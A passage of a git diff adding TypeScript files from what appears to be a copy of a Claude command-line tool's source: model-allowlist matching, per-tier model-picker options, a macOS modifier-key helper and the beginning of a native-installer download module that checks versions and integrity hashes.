+    return false
+  }
+  return modelName.length === prefix.length || modelName[prefix.length] === '-'
+}
+
+/**
+ * Check if a model matches a version-prefix entry in the allowlist.
+ * Supports shorthand like "opus-4-5" (mapped to "claude-opus-4-5") and
+ * full prefixes like "claude-opus-4-5". Resolves input aliases before matching.
+ */
+function modelMatchesVersionPrefix(model: string, entry: string): boolean {
+  // Resolve the input model to a full name if it's an alias
+  const resolvedModel = isModelAlias(model)
+    ? parseUserSpecifiedModel(model).toLowerCase()
+    : model
+
+  // Try the entry as-is (e.g. "claude-opus-4-5")
+  if (prefixMatchesModel(resolvedModel, entry)) {
+    return true
+  }
+  // Try with "claude-" prefix (e.g. "opus-4-5" → "claude-opus-4-5")
+  if (
+    !entry.startsWith('claude-') &&
+    prefixMatchesModel(resolvedModel, `claude-${entry}`)
+  ) {
+    return true
+  }
+  return false
+}
+
+/**
+ * Check if a family alias is narrowed by more specific entries in the allowlist.
+ * When the allowlist contains both "opus" and "opus-4-5", the specific entry
+ * takes precedence — "opus" alone would be a wildcard, but "opus-4-5" narrows
+ * it to only that version.
+ */
+function familyHasSpecificEntries(
+  family: string,
+  allowlist: string[],
+): boolean {
+  for (const entry of allowlist) {
+    if (isModelFamilyAlias(entry)) {
+      continue
+    }
+    // Check if entry is a version-qualified variant of this family
+    // e.g., "opus-4-5" or "claude-opus-4-5-20251101" for the "opus" family
+    // Must match at a segment boundary (followed by '-' or end) to avoid
+    // false positives like "opusplan" matching "opus"
+    const idx = entry.indexOf(family)
+    if (idx === -1) {
+      continue
+    }
+    const afterFamily = idx + family.length
+    if (afterFamily === entry.length || entry[afterFamily] === '-') {
+      return true
+    }
+  }
+  return false
+}
+
+/**
+ * Check if a model is allowed by the availableModels allowlist in settings.
+ * If availableModels is not set, all models are allowed.
+ *
+ * Matching tiers:
+ * 1. Family aliases ("opus", "sonnet", "haiku") — wildcard for the entire family,
+ *    UNLESS more specific entries for that family also exist (e.g., "opus-4-5").
+ *    In that case, the family wildcard is ignored and only the specific entries apply.
+ * 2. Version prefixes ("opus-4-5", "claude-opus-4-5") — any build of that version
+ * 3. Full model IDs ("claude-opus-4-5-20251101") — exact match only
+ */
+export function isModelAllowed(model: string): boolean {
+  const settings = getSettings_DEPRECATED() || {}
+  const { availableModels } = settings
+  if (!availableModels) {
+    return true // No restrictions
+  }
+  if (availableModels.length === 0) {
+    return false // Empty allowlist blocks all user-specified models
+  }
+
+  const resolvedModel = resolveOverriddenModel(model)
+  const normalizedModel = resolvedModel.trim().toLowerCase()
+  const normalizedAllowlist = availableModels.map(m => m.trim().toLowerCase())
+
+  // Direct match (alias-to-alias or full-name-to-full-name)
+  // Skip family aliases that have been narrowed by specific entries —
+  // e.g., "opus" in ["opus", "opus-4-5"] should NOT directly match,
+  // because the admin intends to restrict to opus 4.5 only.
+  if (normalizedAllowlist.includes(normalizedModel)) {
+    if (
+      !isModelFamilyAlias(normalizedModel) ||
+      !familyHasSpecificEntries(normalizedModel, normalizedAllowlist)
+    ) {
+      return true
+    }
+  }
+
+  // Family-level aliases in the allowlist match any model in that family,
+  // but only if no more specific entries exist for that family.
+  // e.g., ["opus"] allows all opus, but ["opus", "opus-4-5"] only allows opus 4.5.
+  for (const entry of normalizedAllowlist) {
+    if (
+      isModelFamilyAlias(entry) &&
+      !familyHasSpecificEntries(entry, normalizedAllowlist) &&
+      modelBelongsToFamily(normalizedModel, entry)
+    ) {
+      return true
+    }
+  }
+
+  // For non-family entries, do bidirectional alias resolution
+  // If model is an alias, resolve it and check if the resolved name is in the list
+  if (isModelAlias(normalizedModel)) {
+    const resolved = parseUserSpecifiedModel(normalizedModel).toLowerCase()
+    if (normalizedAllowlist.includes(resolved)) {
+      return true
+    }
+  }
+
+  // If any non-family alias in the allowlist resolves to the input model
+  for (const entry of normalizedAllowlist) {
+    if (!isModelFamilyAlias(entry) && isModelAlias(entry)) {
+      const resolved = parseUserSpecifiedModel(entry).toLowerCase()
+      if (resolved === normalizedModel) {
+        return true
+      }
+    }
+  }
+
+  // Version-prefix matching: "opus-4-5" or "claude-opus-4-5" matches
+  // "claude-opus-4-5-20251101" at a segment boundary
+  for (const entry of normalizedAllowlist) {
+    if (!isModelFamilyAlias(entry) && !isModelAlias(entry)) {
+      if (modelMatchesVersionPrefix(normalizedModel, entry)) {
+        return true
+      }
+    }
+  }
+
+  return false
+}
diff --git a/_all-in-one-upload/cc-haha/src/utils/model/modelOptions.ts b/_all-in-one-upload/cc-haha/src/utils/model/modelOptions.ts
new file mode 100644
index 0000000..80e2878
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/utils/model/modelOptions.ts
@@ -0,0 +1,540 @@
+// biome-ignore-all assist/source/organizeImports: ANT-ONLY import markers must not be reordered
+import { getInitialMainLoopModel } from '../../bootstrap/state.js'
+import {
+  isClaudeAISubscriber,
+  isMaxSubscriber,
+  isTeamPremiumSubscriber,
+} from '../auth.js'
+import { getModelStrings } from './modelStrings.js'
+import {
+  COST_TIER_3_15,
+  COST_HAIKU_35,
+  COST_HAIKU_45,
+  formatModelPricing,
+} from '../modelCost.js'
+import { getSettings_DEPRECATED } from '../settings/settings.js'
+import { checkOpus1mAccess, checkSonnet1mAccess } from './check1mAccess.js'
+import { getAPIProvider } from './providers.js'
+import { isModelAllowed } from './modelAllowlist.js'
+import {
+  getCanonicalName,
+  getClaudeAiUserDefaultModelDescription,
+  getDefaultSonnetModel,
+  getDefaultOpusModel,
+  getDefaultHaikuModel,
+  getDefaultMainLoopModelSetting,
+  getMarketingNameForModel,
+  getUserSpecifiedModelSetting,
+  isOpus1mMergeEnabled,
+  getOpus46PricingSuffix,
+  renderDefaultModelSetting,
+  type ModelSetting,
+} from './model.js'
+import { has1mContext } from '../context.js'
+import { getGlobalConfig } from '../config.js'
+
+// @[MODEL LAUNCH]: Update all the available and default model option strings below.
+
+export type ModelOption = {
+  value: ModelSetting
+  label: string
+  description: string
+  descriptionForModel?: string
+}
+
+export function getDefaultOptionForUser(fastMode = false): ModelOption {
+  if (process.env.USER_TYPE === 'ant') {
+    const currentModel = renderDefaultModelSetting(
+      getDefaultMainLoopModelSetting(),
+    )
+    return {
+      value: null,
+      label: 'Default (recommended)',
+      description: `Use the default model for Ants (currently ${currentModel})`,
+      descriptionForModel: `Default model (currently ${currentModel})`,
+    }
+  }
+
+  // Subscribers
+  if (isClaudeAISubscriber()) {
+    return {
+      value: null,
+      label: 'Default (recommended)',
+      description: getClaudeAiUserDefaultModelDescription(fastMode),
+    }
+  }
+
+  // PAYG
+  const is3P = getAPIProvider() !== 'firstParty'
+  return {
+    value: null,
+    label: 'Default (recommended)',
+    description: `Use the default model (currently ${renderDefaultModelSetting(getDefaultMainLoopModelSetting())})${is3P ? '' : ` · ${formatModelPricing(COST_TIER_3_15)}`}`,
+  }
+}
+
+function getCustomSonnetOption(): ModelOption | undefined {
+  const is3P = getAPIProvider() !== 'firstParty'
+  const customSonnetModel = process.env.ANTHROPIC_DEFAULT_SONNET_MODEL
+  // When a 3P user has a custom sonnet model string, show it directly
+  if (is3P && customSonnetModel) {
+    const is1m = has1mContext(customSonnetModel)
+    return {
+      value: 'sonnet',
+      label:
+        process.env.ANTHROPIC_DEFAULT_SONNET_MODEL_NAME ?? customSonnetModel,
+      description:
+        process.env.ANTHROPIC_DEFAULT_SONNET_MODEL_DESCRIPTION ??
+        `Custom Sonnet model${is1m ? ' (1M context)' : ''}`,
+      descriptionForModel: `${process.env.ANTHROPIC_DEFAULT_SONNET_MODEL_DESCRIPTION ?? `Custom Sonnet model${is1m ? ' with 1M context' : ''}`} (${customSonnetModel})`,
+    }
+  }
+}
+
+// @[MODEL LAUNCH]: Update or add model option functions (getSonnetXXOption, getOpusXXOption, etc.)
+// with the new model's label and description. These appear in the /model picker.
+function getSonnet46Option(): ModelOption {
+  const is3P = getAPIProvider() !== 'firstParty'
+  return {
+    value: is3P ? getModelStrings().sonnet46 : 'sonnet',
+    label: 'Sonnet',
+    description: `Sonnet 4.6 · Best for everyday tasks${is3P ? '' : ` · ${formatModelPricing(COST_TIER_3_15)}`}`,
+    descriptionForModel:
+      'Sonnet 4.6 - best for everyday tasks. Generally recommended for most coding tasks',
+  }
+}
+
+function getCustomOpusOption(): ModelOption | undefined {
+  const is3P = getAPIProvider() !== 'firstParty'
+  const customOpusModel = process.env.ANTHROPIC_DEFAULT_OPUS_MODEL
+  // When a 3P user has a custom opus model string, show it directly
+  if (is3P && customOpusModel) {
+    const is1m = has1mContext(customOpusModel)
+    return {
+      value: 'opus',
+      label: process.env.ANTHROPIC_DEFAULT_OPUS_MODEL_NAME ?? customOpusModel,
+      description:
+        process.env.ANTHROPIC_DEFAULT_OPUS_MODEL_DESCRIPTION ??
+        `Custom Opus model${is1m ? ' (1M context)' : ''}`,
+      descriptionForModel: `${process.env.ANTHROPIC_DEFAULT_OPUS_MODEL_DESCRIPTION ?? `Custom Opus model${is1m ? ' with 1M context' : ''}`} (${customOpusModel})`,
+    }
+  }
+}
+
+function getOpus41Option(): ModelOption {
+  return {
+    value: 'opus',
+    label: 'Opus 4.1',
+    description: `Opus 4.1 · Legacy`,
+    descriptionForModel: 'Opus 4.1 - legacy version',
+  }
+}
+
+function getOpus46Option(fastMode = false): ModelOption {
+  const is3P = getAPIProvider() !== 'firstParty'
+  return {
+    value: is3P ? getModelStrings().opus46 : 'opus',
+    label: 'Opus',
+    description: `Opus 4.7 · Most capable for complex work${getOpus46PricingSuffix(fastMode)}`,
+    descriptionForModel: 'Opus 4.7 - most capable for complex work',
+  }
+}
+
+export function getSonnet46_1MOption(): ModelOption {
+  const is3P = getAPIProvider() !== 'firstParty'
+  return {
+    value: is3P ? getModelStrings().sonnet46 + '[1m]' : 'sonnet[1m]',
+    label: 'Sonnet (1M context)',
+    description: `Sonnet 4.6 for long sessions${is3P ? '' : ` · ${formatModelPricing(COST_TIER_3_15)}`}`,
+    descriptionForModel:
+      'Sonnet 4.6 with 1M context window - for long sessions with large codebases',
+  }
+}
+
+export function getOpus46_1MOption(fastMode = false): ModelOption {
+  const is3P = getAPIProvider() !== 'firstParty'
+  return {
+    value: is3P ? getModelStrings().opus46 + '[1m]' : 'opus[1m]',
+    label: 'Opus (1M context)',
+    description: `Opus 4.7 for long sessions${getOpus46PricingSuffix(fastMode)}`,
+    descriptionForModel:
+      'Opus 4.7 with 1M context window - for long sessions with large codebases',
+  }
+}
+
+function getCustomHaikuOption(): ModelOption | undefined {
+  const is3P = getAPIProvider() !== 'firstParty'
+  const customHaikuModel = process.env.ANTHROPIC_DEFAULT_HAIKU_MODEL
+  // When a 3P user has a custom haiku model string, show it directly
+  if (is3P && customHaikuModel) {
+    return {
+      value: 'haiku',
+      label: process.env.ANTHROPIC_DEFAULT_HAIKU_MODEL_NAME ?? customHaikuModel,
+      description:
+        process.env.ANTHROPIC_DEFAULT_HAIKU_MODEL_DESCRIPTION ??
+        'Custom Haiku model',
+      descriptionForModel: `${process.env.ANTHROPIC_DEFAULT_HAIKU_MODEL_DESCRIPTION ?? 'Custom Haiku model'} (${customHaikuModel})`,
+    }
+  }
+}
+
+function getHaiku45Option(): ModelOption {
+  const is3P = getAPIProvider() !== 'firstParty'
+  return {
+    value: 'haiku',
+    label: 'Haiku',
+    description: `Haiku 4.5 · Fastest for quick answers${is3P ? '' : ` · ${formatModelPricing(COST_HAIKU_45)}`}`,
+    descriptionForModel:
+      'Haiku 4.5 - fastest for quick answers. Lower cost but less capable than Sonnet 4.6.',
+  }
+}
+
+function getHaiku35Option(): ModelOption {
+  const is3P = getAPIProvider() !== 'firstParty'
+  return {
+    value: 'haiku',
+    label: 'Haiku',
+    description: `Haiku 3.5 for simple tasks${is3P ? '' : ` · ${formatModelPricing(COST_HAIKU_35)}`}`,
+    descriptionForModel:
+      'Haiku 3.5 - faster and lower cost, but less capable than Sonnet. Use for simple tasks.',
+  }
+}
+
+function getHaikuOption(): ModelOption {
+  // Return correct Haiku option based on provider
+  const haikuModel = getDefaultHaikuModel()
+  return haikuModel === getModelStrings().haiku45
+    ? getHaiku45Option()
+    : getHaiku35Option()
+}
+
+function getMaxOpusOption(fastMode = false): ModelOption {
+  return {
+    value: 'opus',
+    label: 'Opus',
+    description: `Opus 4.7 · Most capable for complex work${fastMode ? getOpus46PricingSuffix(true) : ''}`,
+  }
+}
+
+export function getMaxSonnet46_1MOption(): ModelOption {
+  const is3P = getAPIProvider() !== 'firstParty'
+  const billingInfo = isClaudeAISubscriber() ? ' · Billed as extra usage' : ''
+  return {
+    value: 'sonnet[1m]',
+    label: 'Sonnet (1M context)',
+    description: `Sonnet 4.6 with 1M context${billingInfo}${is3P ? '' : ` · ${formatModelPricing(COST_TIER_3_15)}`}`,
+  }
+}
+
+export function getMaxOpus46_1MOption(fastMode = false): ModelOption {
+  const billingInfo = isClaudeAISubscriber() ? ' · Billed as extra usage' : ''
+  return {
+    value: 'opus[1m]',
+    label: 'Opus (1M context)',
+    description: `Opus 4.7 with 1M context${billingInfo}${getOpus46PricingSuffix(fastMode)}`,
+  }
+}
+
+function getMergedOpus1MOption(fastMode = false): ModelOption {
+  const is3P = getAPIProvider() !== 'firstParty'
+  return {
+    value: is3P ? getModelStrings().opus46 + '[1m]' : 'opus[1m]',
+    label: 'Opus (1M context)',
+    description: `Opus 4.7 with 1M context · Most capable for complex work${!is3P && fastMode ? getOpus46PricingSuffix(fastMode) : ''}`,
+    descriptionForModel:
+      'Opus 4.7 with 1M context - most capable for complex work',
+  }
+}
+
+const MaxSonnet46Option: ModelOption = {
+  value: 'sonnet',
+  label: 'Sonnet',
+  description: 'Sonnet 4.6 · Best for everyday tasks',
+}
+
+const MaxHaiku45Option: ModelOption = {
+  value: 'haiku',
+  label: 'Haiku',
+  description: 'Haiku 4.5 · Fastest for quick answers',
+}
+
+function getOpusPlanOption(): ModelOption {
+  return {
+    value: 'opusplan',
+    label: 'Opus Plan Mode',
+    description: 'Use Opus 4.7 in plan mode, Sonnet 4.6 otherwise',
+  }
+}
+
+// @[MODEL LAUNCH]: Update the model picker lists below to include/reorder options for the new model.
+// Each user tier (ant, Max/Team Premium, Pro/Team Standard/Enterprise, PAYG 1P, PAYG 3P) has its own list.
+function getModelOptionsBase(fastMode = false): ModelOption[] {
+  if (process.env.USER_TYPE === 'ant') {
+    // Build options from antModels config
+    const antModelOptions: ModelOption[] = getAntModels().map(m => ({
+      value: m.alias,
+      label: m.label,
+      description: m.description ?? `[ANT-ONLY] ${m.label} (${m.model})`,
+    }))
+
+    return [
+      getDefaultOptionForUser(),
+      ...antModelOptions,
+      getMergedOpus1MOption(fastMode),
+      getSonnet46Option(),
+      getSonnet46_1MOption(),
+      getHaiku45Option(),
+    ]
+  }
+
+  if (isClaudeAISubscriber()) {
+    if (isMaxSubscriber() || isTeamPremiumSubscriber()) {
+      // Max and Team Premium users: Opus is default, show Sonnet as alternative
+      const premiumOptions = [getDefaultOptionForUser(fastMode)]
+      if (!isOpus1mMergeEnabled() && checkOpus1mAccess()) {
+        premiumOptions.push(getMaxOpus46_1MOption(fastMode))
+      }
+
+      premiumOptions.push(MaxSonnet46Option)
+      if (checkSonnet1mAccess()) {
+        premiumOptions.push(getMaxSonnet46_1MOption())
+      }
+
+      premiumOptions.push(MaxHaiku45Option)
+      return premiumOptions
+    }
+
+    // Pro/Team Standard/Enterprise users: Sonnet is default, show Opus as alternative
+    const standardOptions = [getDefaultOptionForUser(fastMode)]
+    if (checkSonnet1mAccess()) {
+      standardOptions.push(getMaxSonnet46_1MOption())
+    }
+
+    if (isOpus1mMergeEnabled()) {
+      standardOptions.push(getMergedOpus1MOption(fastMode))
+    } else {
+      standardOptions.push(getMaxOpusOption(fastMode))
+      if (checkOpus1mAccess()) {
+        standardOptions.push(getMaxOpus46_1MOption(fastMode))
+      }
+    }
+
+    standardOptions.push(MaxHaiku45Option)
+    return standardOptions
+  }
+
+  // PAYG 1P API: Default (Sonnet) + Sonnet 1M + Opus 4.7 + Opus 1M + Haiku
+  if (getAPIProvider() === 'firstParty') {
+    const payg1POptions = [getDefaultOptionForUser(fastMode)]
+    if (checkSonnet1mAccess()) {
+      payg1POptions.push(getSonnet46_1MOption())
+    }
+    if (isOpus1mMergeEnabled()) {
+      payg1POptions.push(getMergedOpus1MOption(fastMode))
+    } else {
+      payg1POptions.push(getOpus46Option(fastMode))
+      if (checkOpus1mAccess()) {
+        payg1POptions.push(getOpus46_1MOption(fastMode))
+      }
+    }
+    payg1POptions.push(getHaiku45Option())
+    return payg1POptions
+  }
+
+  // PAYG 3P: Default (Sonnet 4.5) + Sonnet (3P custom) or Sonnet 4.6/1M + Opus (3P custom) or Opus 4.1/Opus 4.7/Opus1M + Haiku + Opus 4.1
+  const payg3pOptions = [getDefaultOptionForUser(fastMode)]
+
+  const customSonnet = getCustomSonnetOption()
+  if (customSonnet !== undefined) {
+    payg3pOptions.push(customSonnet)
+  } else {
+    // Add Sonnet 4.6 since Sonnet 4.5 is the default
+    payg3pOptions.push(getSonnet46Option())
+    if (checkSonnet1mAccess()) {
+      payg3pOptions.push(getSonnet46_1MOption())
+    }
+  }
+
+  const customOpus = getCustomOpusOption()
+  if (customOpus !== undefined) {
+    payg3pOptions.push(customOpus)
+  } else {
+    // Add Opus 4.1, Opus 4.7 and Opus 4.7 1M
+    payg3pOptions.push(getOpus41Option()) // This is the default opus
+    payg3pOptions.push(getOpus46Option(fastMode))
+    if (checkOpus1mAccess()) {
+      payg3pOptions.push(getOpus46_1MOption(fastMode))
+    }
+  }
+  const customHaiku = getCustomHaikuOption()
+  if (customHaiku !== undefined) {
+    payg3pOptions.push(customHaiku)
+  } else {
+    payg3pOptions.push(getHaikuOption())
+  }
+  return payg3pOptions
+}
+
+// @[MODEL LAUNCH]: Add the new model ID to the appropriate family pattern below
+// so the "newer version available" hint works correctly.
+/**
+ * Map a full model name to its family alias and the marketing name of the
+ * version the alias currently resolves to. Used to detect when a user has
+ * a specific older version pinned and a newer one is available.
+ */
+function getModelFamilyInfo(
+  model: string,
+): { alias: string; currentVersionName: string } | null {
+  const canonical = getCanonicalName(model)
+
+  // Sonnet family
+  if (
+    canonical.includes('claude-sonnet-4-6') ||
+    canonical.includes('claude-sonnet-4-5') ||
+    canonical.includes('claude-sonnet-4-') ||
+    canonical.includes('claude-3-7-sonnet') ||
+    canonical.includes('claude-3-5-sonnet')
+  ) {
+    const currentName = getMarketingNameForModel(getDefaultSonnetModel())
+    if (currentName) {
+      return { alias: 'Sonnet', currentVersionName: currentName }
+    }
+  }
+
+  // Opus family
+  if (canonical.includes('claude-opus-4')) {
+    const currentName = getMarketingNameForModel(getDefaultOpusModel())
+    if (currentName) {
+      return { alias: 'Opus', currentVersionName: currentName }
+    }
+  }
+
+  // Haiku family
+  if (
+    canonical.includes('claude-haiku') ||
+    canonical.includes('claude-3-5-haiku')
+  ) {
+    const currentName = getMarketingNameForModel(getDefaultHaikuModel())
+    if (currentName) {
+      return { alias: 'Haiku', currentVersionName: currentName }
+    }
+  }
+
+  return null
+}
+
+/**
+ * Returns a ModelOption for a known Anthropic model with a human-readable
+ * label, and an upgrade hint if a newer version is available via the alias.
+ * Returns null if the model is not recognized.
+ */
+function getKnownModelOption(model: string): ModelOption | null {
+  const marketingName = getMarketingNameForModel(model)
+  if (!marketingName) return null
+
+  const familyInfo = getModelFamilyInfo(model)
+  if (!familyInfo) {
+    return {
+      value: model,
+      label: marketingName,
+      description: model,
+    }
+  }
+
+  // Check if the alias currently resolves to a different (newer) version
+  if (marketingName !== familyInfo.currentVersionName) {
+    return {
+      value: model,
+      label: marketingName,
+      description: `Newer version available · select ${familyInfo.alias} for ${familyInfo.currentVersionName}`,
+    }
+  }
+
+  // Same version as the alias — just show the friendly name
+  return {
+    value: model,
+    label: marketingName,
+    description: model,
+  }
+}
+
+export function getModelOptions(fastMode = false): ModelOption[] {
+  const options = getModelOptionsBase(fastMode)
+
+  // Add the custom model from the ANTHROPIC_CUSTOM_MODEL_OPTION env var
+  const envCustomModel = process.env.ANTHROPIC_CUSTOM_MODEL_OPTION
+  if (
+    envCustomModel &&
+    !options.some(existing => existing.value === envCustomModel)
+  ) {
+    options.push({
+      value: envCustomModel,
+      label: process.env.ANTHROPIC_CUSTOM_MODEL_OPTION_NAME ?? envCustomModel,
+      description:
+        process.env.ANTHROPIC_CUSTOM_MODEL_OPTION_DESCRIPTION ??
+        `Custom model (${envCustomModel})`,
+    })
+  }
+
+  // Append additional model options fetched during bootstrap
+  for (const opt of getGlobalConfig().additionalModelOptionsCache ?? []) {
+    if (!options.some(existing => existing.value === opt.value)) {
+      options.push(opt)
+    }
+  }
+
+  // Add custom model from either the current model value or the initial one
+  // if it is not already in the options.
+  let customModel: ModelSetting = null
+  const currentMainLoopModel = getUserSpecifiedModelSetting()
+  const initialMainLoopModel = getInitialMainLoopModel()
+  if (currentMainLoopModel !== undefined && currentMainLoopModel !== null) {
+    customModel = currentMainLoopModel
+  } else if (initialMainLoopModel !== null) {
+    customModel = initialMainLoopModel
+  }
+  if (customModel === null || options.some(opt => opt.value === customModel)) {
+    return filterModelOptionsByAllowlist(options)
+  } else if (customModel === 'opusplan') {
+    return filterModelOptionsByAllowlist([...options, getOpusPlanOption()])
+  } else if (customModel === 'opus' && getAPIProvider() === 'firstParty') {
+    return filterModelOptionsByAllowlist([
+      ...options,
+      getMaxOpusOption(fastMode),
+    ])
+  } else if (customModel === 'opus[1m]' && getAPIProvider() === 'firstParty') {
+    return filterModelOptionsByAllowlist([
+      ...options,
+      getMergedOpus1MOption(fastMode),
+    ])
+  } else {
+    // Try to show a human-readable label for known Anthropic models, with an
+    // upgrade hint if the alias now resolves to a newer version.
+    const knownOption = getKnownModelOption(customModel)
+    if (knownOption) {
+      options.push(knownOption)
+    } else {
+      options.push({
+        value: customModel,
+        label: customModel,
+        description: 'Custom model',
+      })
+    }
+    return filterModelOptionsByAllowlist(options)
+  }
+}
+
+/**
+ * Filter model options by the availableModels allowlist.
+ * Always preserves the "Default" option (value: null).
+ */
+function filterModelOptionsByAllowlist(options: ModelOption[]): ModelOption[] {
+  const settings = getSettings_DEPRECATED() || {}
+  if (!settings.availableModels) {
+    return options // No restrictions
+  }
+  return options.filter(
+    opt =>
+      opt.value === null || (opt.value !== null && isModelAllowed(opt.value)),
+  )
+}
diff --git a/_all-in-one-upload/cc-haha/src/utils/modifiers.ts b/_all-in-one-upload/cc-haha/src/utils/modifiers.ts
new file mode 100644
index 0000000..02d8c52
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/utils/modifiers.ts
@@ -0,0 +1,40 @@
+export type ModifierKey = 'shift' | 'command' | 'control' | 'option'
+
+let prewarmed = false
+
+/**
+ * Pre-warm the native module by loading it in advance.
+ * Call this early to avoid delay on first use.
+ */
+export function prewarmModifiers(): void {
+  if (prewarmed || process.platform !== 'darwin') {
+    return
+  }
+  prewarmed = true
+  // Load module in background
+  try {
+    // eslint-disable-next-line @typescript-eslint/no-require-imports
+    const { prewarm } = require('modifiers-napi') as { prewarm: () => void }
+    prewarm()
+  } catch {
+    // Ignore errors during prewarm
+  }
+}
+
+/**
+ * Check if a specific modifier key is currently pressed (synchronous).
+ */
+export function isModifierPressed(modifier: ModifierKey): boolean {
+  if (process.platform !== 'darwin') {
+    return false
+  }
+  try {
+    // Dynamic import to avoid loading native module at top level
+    const { isModifierPressed: nativeIsModifierPressed } =
+      // eslint-disable-next-line @typescript-eslint/no-require-imports
+      require('modifiers-napi') as { isModifierPressed: (m: string) => boolean }
+    return nativeIsModifierPressed(modifier)
+  } catch {
+    return false
+  }
+}
diff --git a/_all-in-one-upload/cc-haha/src/utils/nativeInstaller/download.ts b/_all-in-one-upload/cc-haha/src/utils/nativeInstaller/download.ts
new file mode 100644
index 0000000..fa11e67
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/utils/nativeInstaller/download.ts
@@ -0,0 +1,523 @@
+/**
+ * Download functionality for native installer
+ *
+ * Handles downloading Claude binaries from various sources:
+ * - Artifactory NPM packages
+ * - GCS bucket
+ */
+
+import { feature } from 'bun:bundle'
+import axios from 'axios'
+import { createHash } from 'crypto'
+import { chmod, writeFile } from 'fs/promises'
+import { join } from 'path'
+import { logEvent } from 'src/services/analytics/index.js'
+import type { ReleaseChannel } from '../config.js'
+import { logForDebugging } from '../debug.js'
+import { toError } from '../errors.js'
+import { execFileNoThrowWithCwd } from '../execFileNoThrow.js'
+import { getFsImplementation } from '../fsOperations.js'
+import { logError } from '../log.js'
+import { sleep } from '../sleep.js'
+import { jsonStringify, writeFileSync_DEPRECATED } from '../slowOperations.js'
+import { getBinaryName, getPlatform } from './installer.js'
+
+const GCS_BUCKET_URL =
+  'https://storage.googleapis.com/claude-code-dist-86c565f3-f756-42ad-8dfa-d59b1c096819/claude-code-releases'
+export const ARTIFACTORY_REGISTRY_URL =
+  'https://artifactory.infra.ant.dev/artifactory/api/npm/npm-all/'
+
+export async function getLatestVersionFromArtifactory(
+  tag: string = 'latest',
+): Promise<string> {
+  const startTime = Date.now()
+  const { stdout, code, stderr } = await execFileNoThrowWithCwd(
+    'npm',
+    [
+      'view',
+      `${MACRO.NATIVE_PACKAGE_URL}@${tag}`,
+      'version',
+      '--prefer-online',
+      '--registry',
+      ARTIFACTORY_REGISTRY_URL,
+    ],
+    {
+      timeout: 30000,
+      preserveOutputOnError: true,
+    },
+  )
+
+  const latencyMs = Date.now() - startTime
+
+  if (code !== 0) {
+    logEvent('tengu_version_check_failure', {
+      latency_ms: latencyMs,
+      source_npm: true,
+      exit_code: code,
+    })
+    const error = new Error(`npm view failed with code ${code}: ${stderr}`)
+    logError(error)
+    throw error
+  }
+
+  logEvent('tengu_version_check_success', {
+    latency_ms: latencyMs,
+    source_npm: true,
+  })
+  logForDebugging(
+    `npm view ${MACRO.NATIVE_PACKAGE_URL}@${tag} version: ${stdout}`,
+  )
+  const latestVersion = stdout.trim()
+  return latestVersion
+}
+
+export async function getLatestVersionFromBinaryRepo(
+  channel: ReleaseChannel = 'latest',
+  baseUrl: string,
+  authConfig?: { auth: { username: string; password: string } },
+): Promise<string> {
+  const startTime = Date.now()
+  try {
+    const response = await axios.get(`${baseUrl}/${channel}`, {
+      timeout: 30000,
+      responseType: 'text',
+      ...authConfig,
+    })
+    const latencyMs = Date.now() - startTime
+    logEvent('tengu_version_check_success', {
+      latency_ms: latencyMs,
+    })
+    return response.data.trim()
+  } catch (error) {
+    const latencyMs = Date.now() - startTime
+    const errorMessage = error instanceof Error ? error.message : String(error)
+    let httpStatus: number | undefined
+    if (axios.isAxiosError(error) && error.response) {
+      httpStatus = error.response.status
+    }
+
+    logEvent('tengu_version_check_failure', {
+      latency_ms: latencyMs,
+      http_status: httpStatus,
+      is_timeout: errorMessage.includes('timeout'),
+    })
+    const fetchError = new Error(
+      `Failed to fetch version from ${baseUrl}/${channel}: ${errorMessage}`,
+    )
+    logError(fetchError)
+    throw fetchError
+  }
+}
+
+export async function getLatestVersion(
+  channelOrVersion: string,
+): Promise<string> {
+  // Direct version - match internal format too (e.g. 1.0.30-dev.shaf4937ce)
+  if (/^v?\d+\.\d+\.\d+(-\S+)?$/.test(channelOrVersion)) {
+    const normalized = channelOrVersion.startsWith('v')
+      ? channelOrVersion.slice(1)
+      : channelOrVersion
+    // 99.99.x is reserved for CI smoke-test fixtures on real GCS.
+    // feature() is false in all shipped builds — DCE collapses this to an
+    // unconditional throw. Only `bun --feature=ALLOW_TEST_VERSIONS` (the
+    // smoke test's source-level invocation) bypasses.
+    if (/^99\.99\./.test(normalized) && !feature('ALLOW_TEST_VERSIONS')) {
+      throw new Error(
+        `Version ${normalized} is not available for installation. Use 'stable' or 'latest'.`,
+      )
+    }
+    return normalized
+  }
+
+  // ReleaseChannel validation
+  const channel = channelOrVersion as ReleaseChannel
+  if (channel !== 'stable' && channel !== 'latest') {
+    throw new Error(
+      `Invalid channel: ${channelOrVersion}. Use 'stable' or 'latest'`,
+    )
+  }
+
+  // Route to appropriate source
+  if (process.env.USER_TYPE === 'ant') {
+    // Use Artifactory for ant users
+    const npmTag = channel === 'stable' ? 'stable' : 'latest'
+    return getLatestVersionFromArtifactory(npmTag)
+  }
+
+  // Use GCS for external users
+  return getLatestVersionFromBinaryRepo(channel, GCS_BUCKET_URL)
+}
+
+export async function downloadVersionFromArtifactory(
+  version: string,
+  stagingPath: string,
+) {
+  const fs = getFsImplementation()
+
+  // If we get here, we own the lock and can delete a partial download
+  await fs.rm(stagingPath, { recursive: true, force: true })
+
+  // Get the platform-specific package name
+  const platform = getPlatform()
+  const platformPackageName = `${MACRO.NATIVE_PACKAGE_URL}-${platform}`
+
+  // Fetch integrity hash for the platform-specific package
+  logForDebugging(
+    `Fetching integrity hash for ${platformPackageName}@${version}`,
+  )
+  const {
+    stdout: integrityOutput,
+    code,
+    stderr,
+  } = await execFileNoThrowWithCwd(
+    'npm',
+    [
+      'view',
+      `${platformPackageName}@${version}`,
+      'dist.integrity',
+      '--registry',
+      ARTIFACTORY_REGISTRY_URL,
+    ],
+    {
+      timeout: 30000,
+      preserveOutputOnError: true,
+    },
+  )
+
+  if (code !== 0) {
+    throw new Error(`npm view integrity failed with code ${code}: ${stderr}`)
+  }
+
+  const integrity = integrityOutput.trim()
+  if (!integrity) {
+    throw new Error(
+      `Failed to fetch integrity hash for ${platformPackageName}@${version}`,
+    )
+  }
+
+  logForDebugging(`Got integrity hash for ${platform}: ${integrity}`)
+
+  // Create isolated npm project in staging
+  await fs.mkdir(stagingPath)
+
+  const packageJson = {
+    name: 'claude-native-installer',
+    version: '0.0.1',
+    dependencies: {
+      [MACRO.NATIVE_PACKAGE_URL!]: version,
+    },
+  }
+
+  // Create package-lock.json with integrity verification for platform-specific package
+  const packageLock = {
